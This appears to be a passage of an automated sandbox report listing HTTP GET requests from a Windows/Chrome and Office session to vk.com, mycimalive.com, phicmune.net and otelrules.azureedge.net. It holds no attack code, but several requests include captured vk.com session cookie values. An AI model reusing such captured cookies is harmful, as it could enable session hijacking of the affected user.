remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/ui_common.07689f19.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /static/v1/jsbin/3701120628-lbx__ar.js HTTP/1.1Host: www.blogger.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: prefetchAd_8079706=true
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/aframe HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
